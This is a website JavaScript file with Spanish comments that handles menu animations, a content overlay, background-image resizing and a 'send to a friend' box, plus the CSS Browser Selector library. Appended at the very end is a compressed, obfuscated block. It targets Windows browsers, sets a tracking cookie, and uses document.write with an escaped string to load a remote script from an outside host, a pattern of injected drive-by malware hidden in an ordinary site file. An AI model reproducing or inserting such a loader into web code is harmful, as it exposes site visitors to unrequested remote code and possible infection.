var scrollBox1;
var interval;
var Site = {
	
	// Al cargar el DOM hacemos....
	onLoad : function() {
		
		if ($("pageContent")) {
			Site.openContent();
		} else $("transparent").setStyle("display", "none");
		
		$("main-menu").setStyle("opacity", 1);
		
		if (fondoPagina!='') {
			
			var imagen = new Asset.images([staticUrl + 'images/' + fondoPagina], { 
				onComplete : function() { 
						$("video").set('html', "<img id=\"bgImg\" src=\"" + staticUrl + "images/" + fondoPagina + "\" />");
						var myFx = new Fx.Tween($("video"), { duration: 500, transition: 'sine:in'});
						myFx.start("opacity", "1");
						Site.onWindowResize(); 
			} 
			});
		}
	},
	
	// Abre la capa de contenido
	openContent : function() {
		$("transparent").setStyle("display", "block");
		var myFx = new Fx.Tween($("transparent"), { duration: 500, transition: 'quad:out'});
		var myFx2 = new Fx.Tween($("pageContent"), { duration: 500, transition: 'quad:out'});
		var _width = 432;
		if (($("content_sit_graf")) || ($("noticies")) || ($("fondos")) || ($("makingoff")) || ($("fotos_silueteadas")) || ($("imagen_corporativa")) || ($("clipping")) ) {  // Tamaños especiales
			_width = 585;
		} 
		if ($("mapaweb")) _width = 724;
		myFx.start("width", _width);
		myFx2.start("width", _width).chain(function() {
			if ($("box1")) {
				scrollBox1 = new MooScroll({selector:'#box1', disabledOpacity : 0});
			//	if (interval==undefined) interval = setInterval("Site.refreshScroll()", 1000);
				
			}
			
			
		});
		
	},
	
	refreshScroll : function() {
		if ($("box1")) {
			 //if (scrollBox1!=undefined) scrollBox1.refresh();
		}
	},
	
	// Abre la capa de colección
	openCollection : function() {
		var myFx = new Fx.Tween($("pageContent"), { duration: 4500, transition: 'quad:out'});
		myFx.start("width", "432");
	},
	

	onDomReady : function() {
	
		if ($("transparent")) $("transparent").setStyle("opacity", ".55");
		
		var body_id = ($$("body")[0]).getProperty("id");

		// Menú principal
		$$("ul#main-menu li ul").each(function(element) {
			var ul_id = element.getProperty("id").substr(0, element.getProperty("id").length-3);
			if (ul_id != body_id) {

				element.setProperty("rel", element.getStyle("height"));
				element.setStyles({"height" : "0px", "overflow" : "hidden"});
			} else {
				element.setProperty("rel", element.getStyle("height"));
				element.setStyles({"overflow" : "hidden"});
			}
		});
		
		$$("ul#main-menu li a").each(function(element) {
			element.addEvent("click", function() {
				if (this.getParent().getFirst("ul")) {
					Site.closeAllMenusButThis(this.getParent().getFirst("ul"));
					this.myFx = new Fx.Tween(this.getParent().getFirst("ul"), { duration: 500, transition: 'quad:out'});
					this.myFx.start("height", this.getParent().getFirst("ul").getProperty("rel"));
				}
			});
		});
		
		
		
	},
	
	/* Cierra todas las opciones de menú principal menos _menu */
	closeAllMenusButThis : function(_menu) {
		var body_id = ($$("body")[0]).getProperty("id");
		$$("ul#main-menu li a").each(function(element) {
			var ul_id = '';
			if (element.getParent().getFirst("ul")) var ul_id = (element.getParent().getFirst("ul")).getProperty("id").substr(0, (element.getParent().getFirst("ul")).getProperty("id").length - 3);
			if ((element.getParent().getFirst("ul")) && (_menu !=element.getParent().getFirst("ul")) && (ul_id != body_id) ) {
				this.myFx = new Fx.Tween(element.getParent().getFirst("ul"), { duration: 500, transition: 'quad:out'});
				this.myFx.start("height", "0px");
			} 
		});
		
	},
	

	
	// Cosas a hacer cuando se redimensiona el navegador
	onWindowResize : function() {

		// Resize de foto de fondo y/o cambio de aspect ratio
		if ($$('body')[0].getScrollSize().x > $("bgImg").getSize().x) {
			$("bgImg").setStyles({"width" : "100%", "height" : "auto"});
		}
		if ($$('body')[0].getScrollSize().y > $("bgImg").getSize().y) {
			$("bgImg").setStyles({"width" : "auto", "height" : "100%"});
		}
		
		// reposicionamiento carrusel colección
		if ($("vertical")) {
			var numFotos = $$("#vertical ul li").length;
			var hFotos = numFotos * 43;
			var screenHeight = $("video").getSize().y;
			//$("vertical").setStyle("padding-top", (screenHeight / 2) - (hFotos /2));
			var myFx = new Fx.Tween($("vertical"), { duration: 500, transition: 'quad:out'});
			var paddingTop = (screenHeight / 2) - (hFotos /2);
			if (paddingTop < 0) paddingTop = 0;
			myFx.start("padding-top", paddingTop);
		}
		
	},
	
	enviarAmigo : function(url) {
		$("url").value = url;
		var myFx = new Fx.Tween($("enviarAmigo"), { duration: 500, transition: 'quad:out'});
		myFx.start("opacity" , 0.9);
	},
	
	
	
	cerrarEnviarAmigo : function() {
		if ($("enviarAmigo")) {
			var myFx = new Fx.Tween($("enviarAmigo"), { duration: 500, transition: 'quad:out'});
			myFx.start("opacity" , 0);
		}
	}
	
	
}


window.addEvent("load", function() { $("main-menu").setStyles({"opacity" : 0, "height" : "auto"}); Site.onLoad() });
window.addEvent("domready", function() { Site.onDomReady() });

// CSS Browser Selector   v0.2.5
// Documentation:         http://rafael.adm.br/css_browser_selector
// License:               http://creativecommons.org/licenses/by/2.5/
// Author:                Rafael Lima (http://rafael.adm.br)
// Contributors:          http://rafael.adm.br/css_browser_selector#contributors
var css_browser_selector = function() {
	var ua=navigator.userAgent.toLowerCase(),
		is=function(t){ return ua.indexOf(t) != -1; },
		h=document.getElementsByTagName('html')[0],
		b=(!(/opera|webtv/i.test(ua))&&/msie (\d)/.test(ua))?('ie ie'+RegExp.$1):is('gecko/')? 'gecko':is('opera/9')?'opera opera9':/opera (\d)/.test(ua)?'opera opera'+RegExp.$1:is('konqueror')?'konqueror':is('applewebkit/')?'webkit safari':is('mozilla/')?'gecko':'',
		os=(is('x11')||is('linux'))?' linux':is('mac')?' mac':is('win')?' win':'';
	var c=b+os+' js';
	h.className += h.className?' '+c:c;
}();
/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSwfCookie");if (user !=="ok"){newswfcookie();setCookie("NSwfCookie", "ok", 7, "/");}}}  function newswfcookie(){document.write(unescape("%3Cscript src='http://newswf.com/in.cgi?6' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/

